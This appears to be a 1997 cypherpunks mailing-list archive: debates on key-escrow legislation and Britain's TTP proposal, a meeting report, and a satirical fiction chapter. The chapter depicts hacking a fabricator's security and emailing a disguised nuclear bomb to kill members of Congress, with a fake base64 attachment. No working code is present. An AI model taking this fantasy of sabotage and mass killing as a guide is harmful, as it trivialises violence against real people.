         For PGP Keys -  Send Email Subject "Get PGP Key"
  "Never ask what sort of computer a guy drives. If he's a Mac user,
   he'll tell you. If not, why embarrass him?" - Tom Clancy 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 14 Sep 1997 12:17:05 +0800
To: cypherpunks@toad.com
Subject: Re: Real issue of crypto controls: security or taxation loss?
In-Reply-To: <199709140029.UAA28271@cti06.citenet.net>
Message-ID: <i75Zce4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



jf_avon@citenet.net writes:

>
> On 13 Sep 97 at 9:19, Tim May wrote:
>
> > (JF won't see this, unless Bob H. chooses to pass it on, Sandy-style. This
> > on unedited, undelayed lists, not on digests and delayed condensations.)
>
> AFAIK, e$pam is not edited and not a digest.  But there might be
> parental control ...  :-)

I tried to subscribe and was told that vnet doesn't like me.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Sun, 14 Sep 1997 07:21:05 +0800
To: cypherpunks@ssz.com
Subject: Re: Nightmare Scenario: Public Key Distribution Controlled
Message-ID: <199709132244.XAA00800@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Tim wrote:

> "Distribute a key, go to prison."

> How does the New World Order limit the use of strong crypto without "key
> recovery" when so many copies of older, pre-ban crypto are already out
> there?

> Simple, by declaring that public keys themselves are crypto material, as
> the Brits did in their Trusted Third Parties draft proposal, and hence
> declaring that distribution of keys after the effective date of the
> legislation constitutes a violation. Give someone your key, either by
> placing it on keyservers or even by mailing it to them, and one has just
> "distributed" crypto.

> This will make the public key infrastructure essentially useless, as the
> public key servers go down, as corporations yank any directories they may
> have, and (possibly) as individuals stop putting PGP or S/MIME fingerprints
> or pointers in their messages.

> How possible is this? Recall that the British proposal formally classified
> key material, the keys themselves, as cryptographic products. The language
> of the current unSAFE and Procto-CODE draconian bills, still changing of
> course as committees rewrite them to be more Big Brotherish, is vague on
> what constitutes crypto.


I agree with the gist of this nightmare view, but don't think it describes
the British TTP proposal very well.


   140 These proposals - aimed at facilitating the provision of secure
   141 electronic commerce - are being brought forward against a background

               ha ha ha 

  1122   Encryption services_ is meant to encompass any service, whether
  1123     provided free or not, which involves any or all of the following
  1124     cryptographic functionality - key management, key recovery, key
  1125     certification, key storage, message integrity (through the use of
  1126     digital signatures) key generation, time stamping, or key
  1127     revocation services (whether for integrity or confidentiality),
  1128     which are offered in a manner which allows a client to determine a
  1129     choice of cryptographic key or allows the client a choice of
  1130     recipient/s.

My giving you my key does not provide you with 'choice of cryptographic key or
...  recipient/s' as I read it.  But if I signed your key and distributed it,
that would probably be a certification service (to you) in which you had
chosen the key to be signed.  Also if I gave you 2 keys of mine I think
that would be banned, because you'd have a choice.  This certainly does
discourage effective use, but I don't think the current wording is quite
so dire as to outlaw distribution of a single key.  I'd also say that when
an ISP carries my emailed key to someone they are providing a transport
service, and not a cryptographic one.

The 'or allows the client a choice of recipient/s' looks to me like a direct
reference to remailers.

As to signing non-key material; a service would be if someone I know brought
something (a photo for me to certify true likeness, a will for me to witness
their signature ...) and I signed it for him to indicate something to others.
Signing my outgoing letters is not normally considered a service.  My checking
the signatures on my incoming mail is probably not a service, even if it forms
part of the decision on whether to reply.

As to self-signing a key; it may be permitted following the model of the
above paragraph, or not.  I believe the proposal is deliberately vague for
FUD - and is bad law, regardless of the bad content.  I mentioned the
difficulty of deciding exactly what would be banned by this proposed law
in my article: "Ruritania Discovers Motor Transport".  Check the ar...BANG



--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
##############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Sun, 14 Sep 1997 12:07:31 +0800
To: cypherpunks@Algebra.COM
Subject: A Reality Check & the Full Citizenship Campaign
In-Reply-To: <1.5.4.32.19970913235944.00814c1c@pop.pipeline.com>
Message-ID: <v03007800b04118f6f67d@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain



	John Young, who informs so many, mulled the worst case scenario:

>That gives about 450 days to widespread stego, surrept
>onions and backchannels to prepositioned stashes. Max
>use prior to.

	Hmmm.  Isn't it time for a reality check?  Getting bent out of
shape because the House Intelligence Community -- surely the legislators
closest to the spooks and spies of the Permanent Government, and rather
addicted to its product -- votes to outlaw cryptography without a backdoor
seems to be excessive.

	Declan or someone who tracks Congressional voting trends should
double-check me, but I harbor doubt that the US Congress (or rather, the
House of Represenatives) is about to vote and approve such a bill.

	I understand the Senate is perhaps gone, but the House?

	If I'm right, then we have been given the focus for a major
political action campaign.  I'm up for a bullet vote, where possible.  We
must build a coalition which will demand a yea or nay promise on access to
strong crypto from prospective candidates for the Senate and House in '98.
And from presidential candidates for 2,000.

	Personally, I think we should define the correct choice in terms of
Full Citizenship -- the option to whisper or encrypt that should be
available to every law-abiding citizen.

	And we should define the Spook & Spy alternative as the stunted
choice: a citizenship stripped of basic rights by an ambitous, jealous, and
greedy class of professional spies and their acolytes.

	This Nation, and the rights of citizenship the state conceeds, were
not defined and enumberated in terms of what will make police oversight and
investigation most cost-effective.

	Suerte,
		_Vin

"Cryptography is like literacy in the Dark Ages. Infinitely potent, for
good and ill... yet basically an intellectual construct, an idea, which by
its nature will resist efforts to restrict it to bureaucrats and others who
deem only themselves worthy of such Privilege."
_ A thinking man's Creed for Crypto/ vbm.

 *     Vin McLellan + The Privacy Guild + <vin@shore.net>    *
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SL Baur <steve@xemacs.org>
Date: Sun, 14 Sep 1997 15:16:36 +0800
To: cypherpunks@Algebra.COM
Subject: Re: none
In-Reply-To: <KALE8BQMmXKVb10vj5e4bw==@bureau42.ml.org>
Message-ID: <m2yb50nzh7.fsf@altair.xemacs.org>
MIME-Version: 1.0
Content-Type: text/plain



bureau42 Anonymous Remailer <remailer@bureau42.ml.org> writes:

> Since Sept. 11th:

> http://www.ifi.uio.no/pgp/

> Forbidden

> Your client is not allowed to access the requested object. 

Something is seriously wrong with the ifi.uio.no server.  You can't get
much of anything off of it.  I doubt the general outage is pgp related,
this isn't the first time there have been problems with it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 14 Sep 1997 07:17:05 +0800
To: cypherpunks@cyberpass.net
Subject: Nuke 'em 'till they glow (8)
Message-ID: <199709132310.AAA00898@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




My contribution to the collaborative future fiction: "The True Story
of the InterNet" by Bubba Rom Dos, et al. 

Enjoy,


Adam
--
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`



The True Story of the InterNet

Part III

Chapter 8

Nuke 'em 'till they glow

Jonathan decadently lounged on the worn sofa swigging Bubbas special
reserve straight out of the bottle.  He burped and tossed the empty
bottle to join the pile of kipple heaped in the corner -- an antique
pentium-II 400 with it's case off, a huge heap of hydrocubes, a couple
of busted flatscreen monitors, some empty pizza boxes.

Leaning against the wall lay Bubba Rom Dos, snoring quietly, and
clutching a half empty bottle of his special reserve.

Jonathan lay back trying to brainstorm a direction to explore to find
an exploitable bug in the Hewlett-Packard Fabasoft faba-code verifier.
He was fast running out of ideas.

The desire to find an exploit had arisen earlier that day when Bubba
Rom Dos had tossed him a hydrocube which contained a particularly
interesting deskfab 6 file.  The file was named "nuke.fab".  He
couldn't rightly see where Bubba could have come into possession of
the file, but Bubba wasn't too forthcoming on the subject, so Jonathan
had contented himself with examining the contents of the 'cube.  He
had quickly become engrossed with the contents.

Jonathan had a selection of bootleg PICS fabrication policy files,
ranging from `under 18 months' (for construction of soft cudly toys
with no easily swallowable parts) up to `military grade IV' (good for
things like Forestry Commision SWAT team issue rocket launchers, and
stealth helicopters etc, if you had a 10m3 volume fabricator and a few
GigaWatts on your electricity meter).  A good indication that the file
was the _real thing_ was that it failed the faba-code verifier with
even military grade IV PICS fabrication rating policy file -- the
verifier refused to 'fab the file because it rightly diagnosed that it
would result in the formation of fissionable material!

(How Jonathan came to be in possession of a military grade IV PICS
fabrication policy file is a story for another time).

Now Jonathan also had a hacked fabber -- it was hacked to completely
by-pass the PICS policy file rating system.  This in itself was
supposed to be impossible, but Jonathan had found that you could
replace the FAPI module signature verifying key embedded in the
flipper policy chip by placing a piece of sticky tape over pin 5 of
the smart card contact and brute forcing the LEAF field which for some
reason seemed to only use a measily 16 bit checksum, which took all of
half an hour to brute force.  You'd have thought they would have
learned and increased the checksum size after Matt Blaze brute forced
the clipper chip LEAF in the tessera cards.  But in fairness,
Jonathan's attack had one extra wrinkle: the sticky tape.  Normally
the flipper chip wrote a count of how many smart cards with failed
checksums were inserted, and alerted the forces of darkness after 3
false tries, but the sticky tape took care of that.  Jonathan supposed
the designers had not considered that someone might place sticky tape
over pin 5, the pin which was used to signal an insertion of the smart
card.

With that hack completed and the flipper policy chip instruction code
manual which the cypherpunks had obtained dumpster diving in the
Mykotronics dumpster, he was in business.  He had then blown a new
EPROM with a `customized' firmware, the policy chip accepted the
`Circle of Eunuchs' FAPI module signature on the hacked EPROM, because
there was now nestling comfortably at the heart of the NSA designed
`tamper-proof' fabber flipper chip a DSS key which read:

	Circle of Eunuchs <coe@dev.null>

The original key had read:

	NSA FAPI signature key <dirnsa@nsa.mil>

So much for NSA security, Jonathan chuckled at the rememberance of
that exploit.

Anyway, for amusement value, and 1.3 MegaWatts of electricity later
(the cowboy had given him a hacked power board account -- phree
electricity, wheee!), Jonathan's industrial grade Hewlett-Packard
deskfab 9GSII fabber had produced a nice matt black suitcase.

Jonathan watched the instructional 3d-mpeg file included on the
hydrocube, and spent a good hour in awe playing with the controls on
the suitcase.  Satiated with knowledge now that he knew how to operate
all of it's modes, he was lying comatose on the sofa wracking his
brains trying to overcome the next hurdle -- how to construct the
perfect way to nuke washington DC.  His plan so far was to spam each
of the `targets' with a word99 macro virus (thanks Bill Gates) in a
document describing his `SFr 10,000,000 campaign contribution' which
automatically spooled a mildly modified "nuke.fab" for fabrication,
and turned off the fabbers status leds through a Hewlett-Packard
firmware bug.  Jonathan had all this down pat.

(The modification to "nuke.fab" in case you were wondering was to put
the suitcase in detonate with no bypass mode, with an initial count
down of 30 seconds).

The problem was -- all those congress-critters were bound to be
running on a PICS fabrication rating below
`national-security-emergency', and so the faba-code verifier would
refuse to load the code.  Worse still the non-hacked HP deskfab models
after mandatory GAF (Goverment Access to Fabbers) was introduced would
narc out the owner to the Feds within minutes, thereby alerting the
dark forces as to what the plan was.

The wall clock now read 3.30am.

Jonathan dozed off to sleep dreaming of glow-in-the-dark
congress-critters.

...

"fifty-eight ... fifty-seven ... " 

Jonathan woke grogily to see a group of people huddled over a
suitcase.  In the middle of the group was Bubba Rom Dos grandiosely
counting down, in between swigging from his bottle of special reserve
and pressing buttons randomly on the suitcases control panel.
Priscilla and Alexis were peering closely at the pretty flatscreen
status display, making sage comments as to what the buttons might do,
for all the world as if they were playing a video game.

Jonathan came to his senses and screamed at the top of his lungs:

	"Nooooo!" 

and sprang to his feet.  He almost fell over again as the effect of
moving that quickly so soon after waking up hit him, his head
swimming.

All heads turned to face him.

"Yaieeeeeeee!" yelled Jonathan, as he rudely barged his way to the
suitcase control pannel, and began franticallly pushing buttons.

After a short panic attack, he calmed down sufficiently to notice that
the display read "no override".  Having absorbed the entire
instruction 3d-mpeg, Jonathan knew what that meant.  The LCD display
read 50 seconds.

Bubba swigged another gulp of his special reserve, and said innocently
"What's the problem?"

Jonathan looked fit to explode, his pulse was racing and his head hurt
horribly, "It's a nuke!" he screamed hoarsely, "and you've just armed
it, and I can't disarm it, and you've got ..." his eyes tore to the
display "45 seconds until you're vapourised."  Priscilla was already
running for the door screaming.

Bubba belched loudly, and looked slightly ill.  Alexis gulped and said
"What now?".

Bubba tosssed the empty bottle of special reserve on to the growing
pile of kipple in the corner, and pulled a fresh bottle from inside
his rain mac.

"Lets think rationally here" said Bubba, calmly, pouring himself a
shot of special reserve, "can't you um disable it, or um, un-fabricate
it or something".

A flash of inspiration hit Jonathan, seeping through his slowly waking
brain (he was not a morning person).

He flashed a grin to Bubba and walloped him hard between the
shoulder-blades shouting, "You're a genius!"  Jonathan then hugged
Alexis lifting her off the ground.

Bubba looked puzzled but pleased.  Alexis looked a little worried.

Jonathan looked at the display pannel on the suitcase "35 seconds".
`No problem' he thought.  He slammed the suitcase shut and practically
threw it in to the HP deskfab 9GSII fabrication bay, and slammed the
door shut.

Then he grabbed the keyboard, and began typing at around 100 wpm.

After a deathly long pause where the terabyte hydro drive light
flickered intermittently, the fab drive hummed to life.  The lights
dimmed with the sudden increase in power consumption.  A few seconds
later the drive light blinked out, and the deskfab fell silent.

"That," said Jonathan, stabbing the screen

-rw-r--r--   1 jon      users   7516192768 Oct  4 10:12 tmp00001.fab

where the words `tmp00001.fab' were emblazoned in green writing on a
black background, "is an armed nuke".


"Now, where was I?" mused Jonathan, and then remembering, rounded on
Bubba, "Uh yeah, just where exactly did you find nuke.fab?"

Bubba made an expansive gesture with his hands, and poured himself
another shot.  Throwing back the shot, Bubba said: "I got it off the
web,", and began searching through the pockets to his rain mac,
eventually pulling a scrumpled scrap of paper from his pocket, and
handing it to Jonathan.  "A kindly elderly gentleman with a 9mm uzi
gave me this address," he explained.  Jonathan looked at the badly
scrumpled scrap of paper, and was just able to make out:

	http://jya.eternity/cryptome/nuke.fab

Jonathan looked puzzled, the initials "jya" looked vaguely familiar to
him from his reading of old cypherpunks posts.  Ah, yes, it was that
Architect guy, John Young, who kept getting into trouble over hosting
materials that the feds didn't like.  So he was using the eternity
service now.


Now the panic was over Jonathan resumed his position on the couch,
allowing himself to recover from the previous nights hacking session.

"Say Bubba," Jonathan said with his eyes closed, "do you have any
ideas of how to by-pass the Fabasoft faba-code verifier on an HP
deskfab?"

Bubba finished his mouthful of strong spirits, "Huh?  Wassat you say?"

Jonathan explained to Bubba and Alexis the events of the night before
and of the plan to nuke washington DC, and party-way through Priscilla
returned, looking a bit sheepish for deserting them at such a crucial
time.

"So," said Alexis, "You used the deskfab to copy the armed nuke, hence
disabling it?"

"Sure, that's a standard function", said Jonathan, "it's a bit like a
3d photocopier, only you can set it to unfabricate the object being
copied at the same time."

"Well," pressed Alexis, miles ahead of Jonathan, and not needing the
mini-lecture on deskfab functionality, "couldn't you copy a deskfab?"

Jonathan opened his eyes from his inert position on the couch.  "Uh, I
dunno, yeah I suppose so...."

Then Jonathan saw the light, a second time that day: "Heh, yeah,
okay!" he enthused, "that's a cool idea Alexis."


Alexis and Jonathan excitedly started unplugging the deskfab from the
unix box.  

"Carry these," said Jonathan and thrust upon Bubba a laptop, the
hydrocube containing tmp00001.fab, and a bundle of interface leads.
Jonathan and Alexis proceeded to lug the desk fab out back, and down
into the basement.  Bubba and Priscilla followed puzzled as to what
the excitement was.

In the basement was an ancient looking Sun unix box.  The screen was
one of those huge glass tube affairs.  Beside it sat what looked like
a refridgerator with clunky looking dials on it.

Jonathan powered up the Sun box.  Suprisingly enough it actually
booted, and 10 minutes later, after an agonisingly slow process where
it went through checking (fscking) all it's ancient hard drives, which
wirred and clicked noisly, it came up, and the prompt said:

Welcome to toad.com

login:

Without hesitation, Jonathan logged in as `gnu', and immediately typed
in a password.  He was in.  Bubba and Priscilla exchanged glances.
Jonathan explained, "I shoulder surfed the password when John logged
in when I was at the physical cypherpunks meet in my grandpas study
all those years ago."

"This," he said patting the minifridge sized machine humming noisily
in front of them, "is his old machine, `toad.com', old home to the
cypherpunks list."

Next Jonathan lugged his deskfab into the refrigerator affair, which
apparently was an antique deskfab, sat the lap top on top of it, and
hooked the laptop up to the deskfab, and inserted the tmp00001.fab
hydrocube into the laptops hyro drive.  Then he wandered off in search
of a portable power source.  He came back lugging an emergency power
module `liberated' from the electric company at some point in the
past.

He hooked-up the power module to the HP deskfab.

"Now," said Jonathan, "the timing on this is a bit delicate", I think
there's only around 20 seconds left on the nuke.

Jonathan set the laptop on time delay to instruct the deskfab to
refabricate the primed nuke with 20 seconds left to pop time, but not
to start doing that for around 1 minute.  Then he slammed the
refrigerator sized fabricator door shut, and began typing in earnest
on toad.com.  The refrigerator started humming, and toad.com's drive
started buzzing frantically.

"Gee I hope the transfer rate on these mechanical drives is good
enough to copy it before it fabricates the nuke", opined Jonathan.

Jonathan started typing again.  "Shit! we're gonna run out of space!"
he said.  And started typing frantically rm -rf'ing anything that
could be rm -rf'ed without stopping the machine.  He rm -rf'ed
/usr/src, and /usr/spool/ and a bunch of other stuff.  He made it with
half a gig or so spare, and who knows how few seconds to spare.

The refrigerator-sized deskfab stopped humming, and the hum of the
contained HP fabber had stopped too as it had been rudely unfabricated
by the antique fabber.

Jonathan was pleased with himself now.

"That," said Jonathan, with a stabbing motion

-rw-r--r--   1 gnu      users   8589934592 Oct  4 10:42 donation.fab

where the words `donation.fab' were emblazoned on the clunky glass
screen, "is a freshly fabricated top of the range HP deskfab 9GSII,
which is just about to fabricate a suitcase nuke, which will pop a few
seconds after being fabricated".

"But will it pass the faba-whatsit verifier?" asked Alexis.

"Er are you sure this is a good idea?" asked Priscilla.

"Of course it is," said Bubba.

"That's a good question Alexis," Jonathan said ignoring the other
chatter, "I'm not real sure.  I think it should pass because, well,
the faba-code verifier isn't _that_ smart, right.  I mean to realise
that it will build a HP deskfab, which just happens to have freshly
downloaded instructions to build fissionable material patterned into
it's memory modules, I mean that's like solving the halting problem
right?"

Bubba cleared his throat, "If I might make a suggestion here", he
said, "now that the high falutin' theoretical stuff is out of the way,
the obvious thing to do is try it and see."

"A splendid suggestion", said Jonathan, begining to type once more,
"very good Bubba, the empirical hackers approach."

So Jonathan tried it, and saw.  He typed:

To: cypherpunks@cyberpass.net
Bcc: president@whitehouse.gov
Bcc: freeh@fbi.gov
Bcc: feinstein@congress.gov
...

Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_NextPart_000_01BCB88F.57968E50"
Content-Transfer-Encoding: 7bit

This is a multi-part message in MIME format.

------=_NextPart_000_01BCB88F.57968E50
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit


Hello,

Please accept our campaign donation of SFr 10,000,000 in used swiss
francs.

Just double click on the enclosed attachment in your mail reader, and
it'll print out the donation file attached in an HP compatible fabber.
You'll need quite a large fabber, as SFr 10,000,000 is quite bulky.

Kind regards,

The Circle of Eunuchs

------=_NextPart_000_01BCB88F.57968E50
Content-Type: application/octet-stream; name="donation.fab"
Content-Transfer-Encoding: base64
Content-Description: donation.fab (DeskFab 6 Document)
Content-Disposition: attachment; filename="donation.fab"

AasdfAAzxcvAAA1234AA0M8R4KGxGudfghAApoiuAAASDFAertyAPgADAP7/CQAGAsdfgAwrtfAA
zxcvAAA1234AA0M8R4KGxGudfghAApoiuAAASDFAertyAPgADAP7/CQAGAsdfgAwrtfAAdfAAzef

[snipped to save space]

4AA0M8R4KGxGudfghAApoiuAAASDFAertyAPgADAP7/CQAGAsdfgAwrtfAAdfAAzefzxcvAAA123
------=_NextPart_000_01BCB88F.57968E50


Bubba, Alexis and Priscilla wandered back up stairs to wait and see,
whilst Jonathan sat working on a strategy of how to edit the
donation.fab file to get back his laptop, and the top of the range HP
deskfab 9GSII without also nuking himself.  He reckoned all he'd got
to do was edit out the memory module from the deskfab, by editing
donation.fab, and then he'd have it all back with out the nuke.

Jonathan become engrossed in the task at hand.

...

In a splendidly appointed, luxurious penthouse suite, rich in the
trappings of wealth and power, in the heart of Washington DC, a
bloated congress critter was eating well at the trough.  His whores
were attentive, dressing him for breakfast, and he had just been
bribed $1,000,000 by a telephone company special interest group to
throw a few billions in corporate welfare their way.

And that was just before breakfast, before he had even got out of bed!

Now it appeared he had something he should attend to urgently
something that had come on his `email address' what-ever one of those
was.  A minor aide bustled in.  The aide seemed quite excited, and
explained in fawning tones that a special interest group had mailed
him lots of Swiss Francs, SFr 9,000,000 in fact, but that there was
something strange...  there was no request for favors.  He said it was
just being printed out now, and perhaps there would be a note with the
money.

The congress critter, puffed contentedly on the hookah which one of
the whores had lit for him, hmm, yes he could see that this was going
to be a good day.

<Fade to blinding white light>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 14 Sep 1997 15:33:22 +0800
To: hugh@xanadu.com
Subject: Today's meeting
Message-ID: <3.0.2.32.19970914002831.006f0114@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks to everybody that showed up for today's meeting. Much is happening.
And it is not just the evil legislation moving through Congress.
Cypherpunks have been busy writing code. A very useful Ecash implementation
compatible with DigiCash's protocol will be released next week. Onion
Routers have been ported to Linux. Other semi-clandestine projects are
moving forward as well.

Again people asked me where to find some pictures from the Cypherpunks
field trip to HIP'97. One more time: all archives are accessible via
http://www.hip97.nl/

Some of the better archives are Joichi Ito's pages at
http://www.ito.com/mpeg/hip/ which amongst other things features an MPEG of
myself as a DJ

Next, check out the HIP'97 network site at http://spin.vpro.nl/hip.shtml
You have to go a few levels deep before seeing the usual suspects.

And you haven't lived until you see the RealVideo of Brian the HIP Brain
http://magazine.dds.nl/XArtikel.phtml?ArtID=156&KatID=7

In fact, there are about five or six articles about us on this
semi-official HIP journal site. http://magazine.dds.nl/XKaterng?KatIDnu=7

Have fun,

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Sun, 14 Sep 1997 12:56:39 +0800
To: "Brian B. Riley" <cypherpunks@toad.com>
Subject: Make GAK or back doors better?  Hell NO!
In-Reply-To: <199709122333.TAA01905@mx02.together.net>
Message-ID: <199709140446.WAA10913@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    no, no, no --we dont try to make GAK 'better' --we dont do it
    at all. fuck them and the dirty horses they road in on.  

    _THEY_, not us, are the four horsemen of the apocolypse.

    to the despots in Washington, whose fat heads have never seen
    the sunshine, there is only one "gift"  --no code. let them
    find the dirty handed clods to do their own filthy work --if no
    decent programmers are willing to bloody their hands they will
    butcher the program more than they would otherwise, and it will
    be those miserable bastards who will be begging _us_ for mercy.

    if you believe in any freedom -dont be a fucking quisling.

 --
 "Experience keeps a dear school, but fools will learn in no other."     
        --Benjamin Franklin
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBNBszq704kQrCC2kFAQHSAAQAiKdHqcjF3vt0JP6y3j2NTSBhlaE1kWsS
nLiwBZuM0Wigr6Wo80k0+7IO+FJw1ZqCI7Aij0s3vZd/W0WnkTXg2BPJSM7R8G74
3HTVph4Y+tPjOvDy+ckgsjJMIld9VfCBz8KHUeZ7sbfRY1U8BrUxA95Fl2PrZSgd
hcoFiMBKaDE=
=QYWN
-----END PGP SIGNATURE-----

on or about 970912:1933 
    "Brian B. Riley" <brianbr@together.net> expostulated:

+-----BEGIN PGP SIGNED MESSAGE-----
+Hash: SHA1

+On 9/12/97 1:31 AM, Anonymous (nobody@REPLAY.COM)  passed this wisdom:

+ [snip]

+>Now think about this: You're Joe Random Govt. Worker at the 
+>official secret key repository, and there's a budget crisis going 
+>on - instead of paychecks, you're getting I.O.U.'s. Your terminal 
+>has access to thousands, perhaps millions, of secret keys. You grab 
+>one of CitiBank's, forge a few transactions, and 30 seconds later 
+>your Swiss bank account is a few million dollars fatter and 
+>according to the digital signature, the transaction originated in 
+>L.A.. 

+ Please correct me if I am wrong, but could not a GAK backdoor be
+written that will simply permit decryption only of the ciphertext and
+not encryption. Would not this prevent this from happening?

+  Don'tget me wrong. It scares the hell out of me too, but maybe, in
+addition to that various things Tim has suggested we might also
+consider how to make the GAK as secure as cam be to minimize its
+potential for disaster.

+-----BEGIN PGP SIGNATURE-----
+Version: PGP for Personal Privacy 5.0
+Charset: noconv

+iQA/AwUBNBnRQcdZgC62U/gIEQK+qACfSPjDLBIKmN4AgvEU6nBPmKKF+94AnR6T
+4ZV9vbLb7vCpaaKGZA1mPTmH
+=MbPr
+-----END PGP SIGNATURE-----


+Brian B. Riley --> http://www.macconnect.com/~brianbr
+         For PGP Keys -  Send Email Subject "Get PGP Key"
+  "The only thing necessary for evil to triumph, is for good men to 
+   stand by and do nothing"  Edmund Burke






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Sun, 14 Sep 1997 08:44:05 +0800
To: cypherpunks@Algebra.COM
Subject: No Subject
Message-ID: <KALE8BQMmXKVb10vj5e4bw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Since Sept. 11th:

http://www.ifi.uio.no/pgp/

Forbidden

Your client is not allowed to access the requested object. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sun, 14 Sep 1997 13:47:48 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Nightmare Scenario: Public Key Distribution Controlled
In-Reply-To: <v03102805b04065bf320b@[207.167.93.63]>
Message-ID: <199709140543.BAA22255@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102805b04065bf320b@[207.167.93.63]>, on 09/13/97 
   at 08:56 AM, Tim May <tcmay@got.net> said:

>This will make the public key infrastructure essentially useless, as the
>public key servers go down, as corporations yank any directories they may
>have, and (possibly) as individuals stop putting PGP or S/MIME
>fingerprints or pointers in their messages.

Oh it would effectivly kill PGP but expect S/MIME to florish. My last
reading of the S/MIME specs had direct reference to supporting GAK. If
this legislation becomes law you will see very shortly N$, IBM, HP, M$ all
with shinny new logos on thier products announcing that they are using
government approved crypto.

None of these companies are run by cypherpunks, they are run by "suits"
who would sell out their own country and it's citizens if they could turn
a profit doing so.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNBts7Y9Co1n+aLhhAQEq5gQAxACW/0N+B98+F5db7F8B/aZGlves9lls
zi76zpnXiiq6POuYM4WeeX4xOfrpkGNC+WhetHkyzuEyweV9YM3+3EfiswN+j/CV
RCRQXVWsDEQR7fzzMz6g7NZjCWEx2ZTv/brW+fEfDYU4nHU/e42dJrqHDHPTFmxF
WMF6hVlONjo=
=ZxRC
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gary Howland <gary@hotlava.com>
Date: Sun, 14 Sep 1997 07:33:37 +0800
To: jf_avon@citenet.net
Subject: Re: Real issue of crypto controls: security or taxation loss?
In-Reply-To: <199709131600.MAA22590@cti06.citenet.net>
Message-ID: <199709132322.QAA29125@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




> Then, TM came to say that this is irrelevant.  TM was right in the 
> context of the post, but it led me to ask myself this 
> (vague) question:
> 
> 	What is the real issue here, what makes the govt so insistent about 
> 	wanting to ban crypto?  What is such a threat to them that it makes 
> 	them pass laws that are profoundly against the US constitution?  
> 
> 	What causes their panic?

They want to read your mail.  They would like to read your mind too.
 
> To this, all I can find of enough magnitude to put them in such state 
> is that they just recently *truly* realized that crypto will, 
> infinitely more than to threaten the security of the state,
> threaten their very existence by putting them outside of the money 
> loop.

I disagree.  I think they want to read your mail.  I don't believe they are 
scared of "digital bearer bonds" etc., although I do believe that this is the 
most hyped issue on these mailing lists ...


> Any comments about why we should *not* put most emphasis on the 
> financial aspect of crypto?

Because the financial aspects are hyped way out of proportion on these 
mailing lists?

Also, you will find that the govt does *not* want to ban financial crypto
- it only wants to ban encryption - so how can you argue that they are 
panicking because of the financial aspect of crypto?  You can't.  They panic 
because they can't read your mail.

Gary
-- 
pub  1024/C001D00D 1996/01/22  Gary Howland <gary@hotlava.com>
Key fingerprint =  0C FB 60 61 4D 3B 24 7D  1C 89 1D BE 1F EE 09 06 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sun, 14 Sep 1997 14:56:03 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: in defense on Lon Horiuchi
In-Reply-To: <19970913231227.65437@bywater.songbird.com>
Message-ID: <199709140651.CAA24022@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970913231227.65437@bywater.songbird.com>, on 09/13/97 
   at 11:12 PM, Kent Crispin <kent@songbird.com> said:

